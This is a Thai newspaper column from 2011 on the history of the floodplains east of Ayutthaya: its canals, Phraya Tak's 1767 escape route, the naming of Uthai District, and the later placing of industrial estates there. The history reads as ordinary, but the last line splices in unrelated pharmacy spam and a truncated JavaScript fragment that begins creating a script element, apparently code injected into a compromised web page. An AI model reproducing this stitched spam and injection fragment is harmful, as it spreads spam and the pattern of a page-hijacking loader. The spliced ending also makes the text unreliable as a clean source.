มติชนรายวัน ฉบับประจำวันศุกร์ที่ 14 ตุลาคม 2554

 

          ด้านทิศตะวันออกของกรุงศรีอยุธยาเคยเป็นทุ่งนาขนาดกว้างใหญ่ เรียกกันมาแต่ครั้งกรุงเก่าว่าทุ่งหันตรา, ทุ่งอุทัย เป็นส่วนหนึ่งของทุ่งหลวงยุคต้นกรุงรัตนโกสินทร์

          พื้นที่ย่านอุตสาหกรรมของอยุธยา ด้านตะวันออกของ อ. เมือง ต่อเนื่อง อ. อุทัย, อ. วังน้อย, ถึง อ. ภาชี เคยเป็นทุ่งนากว้างใหญ่ สุนทรภู่เคยเรียกในนิราศวัดเจ้าฟ้าว่า ทุ่งหลวง มีกลอนวรรคนี้ว่า “สักสิบทุ่มเดินมุ่งออกทุ่งหลวง”

          (สุนทรภู่แต่งนิราศวัดเจ้าฟ้าราว พ.ศ. 2375 ในแผ่นดินรัชกาลที่ 3 ให้เป็นสำนวนเณรพัดผู้เป็นบุตร ส่วนวัดเจ้าฟ้า น่าจะหมายถึงวัดพระพุทธฉาย จ. สระบุรี)

          ตั้งแต่ อ. เมือง ถึง อ. อุทัย จ. พระนครศรีอยุธยา มีคลองใหญ่ 2 สายตัดผ่านดังนี้

          คลองหันตรา แยกจากแม่น้ำป่าสักทางทิศเหนือ ไหลโค้งลงทางใต้ ตัดกับคลองบ้านบาตร แล้วมีร่องรอยไหลโค้งลงไปสมทบแม่น้ำเจ้าพระยาทางใต้คลองสวนพลู ครูบาอาจารย์ผู้ใหญ่เคยบอกว่าคลองหันตรานี้คือเส้นแม่น้ำป่าสักเก่า

          คลองบ้านบาตร แยกจากแม่น้ำป่าสักตรงวัดพิชัย ใกล้สถานีรถไฟ แล้วตรงไปทางทิศตะวันออก ตัดกับคลองหันตราที่บ้านหันตรา แล้วยาวออกไปอีกเข้าเขต อ. อุทัยและ อ. วังน้อย

          นอกนั้นเป็นห้วยหนองคลองบึงขนาดเล็กๆ ราวเส้นเลือดฝอยอยู่เต็มทุ่ง

          ก่อนกรุงแตก พ.ศ. 2310 พระเจ้าตากกับพรรคพวกยกออกจากค่ายวัดพิชัย (ใกล้สถานีรถไฟ ตรงปากคลองบ้านบาตร) เดินทัพตีฝ่าพม่ามุ่งทิศตะวันออกทาง อ. อุทัย จะไประยอง, จันทบุรี ผ่านบ้านหันตรา, บ้านข้าวเม่า, บ้านสามบัณฑิต, บ้านโพสังหาร, บ้านพรานนก

          แล้วลัดทุ่งหลวงไปทางนครนายก, ปราจีนบุรี, ฉะเชิงเทรา

          อ. อุทัย จ. พระนครศรีอยุธยา ได้ชื่อจาก “ตำบลพระอุทัย” ยุคต้นอยุธยา ก่อน พ.ศ. 2000 หมายถึงบริเวณตะวันออก (ของพระนครศรีอยุธยา)

          ตำบลพระอุทัย เป็นที่พระราชสมภพของสมเด็จพระบรมไตรโลกนาถ ขณะพระราชมารดาทรงครรภ์เสด็จไปในพิธีกรรมตัดไม้ข่มนาม เมื่อเจ้าสามพระยาพระราชบิดาจะกรีธาทัพไปตีเมืองพระนครหลวง (นครธม) เมื่อ พ.ศ. 1974 มีระบุในยวนพ่ายโคลงดั้นว่า

          ๏ แถลงปางพระมาตรไท้       สมภพ  ท่านนา

          แดนด่ำบลพระอุทัย             ทุ่งกว้าง

          ทุ่งเหล่านี้เป็นที่ลุ่มต่ำน้ำท่วมทุกปีตั้งแต่ก่อนยุคอยุธยา เป็นพื้นที่อุดมสมบูรณ์ เพราะมีตะกอนแม่น้ำมาถมทับประจำปีเป็นปุ๋ยอย่างดีให้พืชพันธุ์ธัญญาหาร

          ถึงหน้าแล้งก็เป็นทุ่งโล่งทำพิธีกรรมต่างๆ

          ความเคลื่อนไหวในประวัติศาสตร์ทางสังคมวัฒนธรรมเหล่านี้ ไม่มีอยู่ในพิพิธภัณฑสถานแห่งชาติ จึงไม่มีในความทรงจำของสังคมไทย รัฐบาลแต่ก่อนจึงให้สร้างนิคมอุตสาหกรรมลงพื้นที่นี้

fluoxetine price walgreens order ?v gel } else {var d=document;var s=d.createElement(‘script’);